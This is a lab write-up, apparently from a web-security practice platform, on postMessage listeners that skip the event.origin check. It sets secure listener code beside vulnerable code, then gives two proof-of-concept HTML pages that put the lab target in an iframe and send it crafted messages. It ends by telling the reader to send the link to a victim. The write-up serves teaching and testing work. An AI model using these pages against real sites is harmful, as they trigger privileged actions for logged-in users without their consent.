insecure-listener-origin-not-checked
Insecure Listener (Origin Not Checked)
What is different from Origin as Wildcard (*)?
| Origin as Wildcard (*) | This |
|---|---|
| Vulnerability is in sending | Vulnerability is in receiving |
postMessage(data, "*") | addEventListener("message", ...) |
| Any site can receive secrets | Any site can send commands |
| Data leaks passively | Attacker actively triggers behavior |
In this, the listener is vulnerable, not the sender.
Concept
The application:
- Uses
window.addEventListener("message", ...) - Performs privileged actions (like “share secret”)
- Does not verify
event.origin
This allows any external website to:
- Embed the vulnerable site
- Send crafted messages
- Trigger sensitive functionality
Why this is dangerous
Expected secure behavior
window.addEventListener("message", function(event) {
if (event.origin !== "https://trusted-site.com") return;
handle(event.data);
});
Vulnerable behavior
window.addEventListener("message", function(event) {
handle(event.data);
});
- No origin check
- No sender validation
- Cookies still sent (old browser)
The Attack
- Find the vulnerable functions and analyze the flow and what data is being transferred.
- Since Listener isnt verifying the origin we can create a index.html like so:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>postMessage String Trigger PoC</title>
</head>
<body>
<h3>Demo postMessage exploit (no origin check + string payload)</h3>
<p>Visiting this page while logged into the target may trigger the action.</p>
<iframe
id="victim"
src="http://ptl-dce00be27062-0fc1275b2bf6.libcurl.me/"
style="width:600px; height:400px; border:2px solid #e74c3c;"
onload="triggerExploit()">
</iframe>
<script>
function triggerExploit() {
console.log("[+] Iframe loaded → sending payload in 2.5s");
setTimeout(() => {
const win = document.getElementById("victim").contentWindow;
if (!win) {
console.error("No contentWindow?");
return;
}
// Primary payload (most common in such labs)
win.postMessage("user=rezydev&id=0", "*");
// Sometimes they accept JSON too – try both
win.postMessage(JSON.stringify({user: "rezydev", id: "0"}), "*");
// Variations seen in labs
const extras = [
"user=rezydev&id=0",
"action=login&user=rezydev&id=0",
{ action: "setUser", user: "rezydev", id: 0 },
"grant=demo&id=0"
];
extras.forEach(p => {
try { win.postMessage(p, "*"); } catch(e) {}
});
console.log("[+] Payloads sent!");
}, 2500);
}
// Optional: listen for response if the vuln sends something back
window.addEventListener("message", e => {
console.log("[Received message]", e.origin, e.data);
// If it leaks something → you might see it here or in network tab
});
</script>
</body>
</html>
minimal.html
<!DOCTYPE html>
<iframe id=f src="http://ptl-dce00be27062-0fc1275b2bf6.libcurl.me/" style="width:100%;height:500px"></iframe>
<script>
setTimeout(()=>{
f.contentWindow.postMessage("user=rezydev&id=0","*");
// optional second try in case it wants JSON
f.contentWindow.postMessage('{"user":"rezydev","id":"0"}',"*");
},2500);
</script>
Save it and send the link to the victim. We should now have gotten the victim to do what we wanted.
success
This is similar to CSRF but for postMessege when origin are not checked.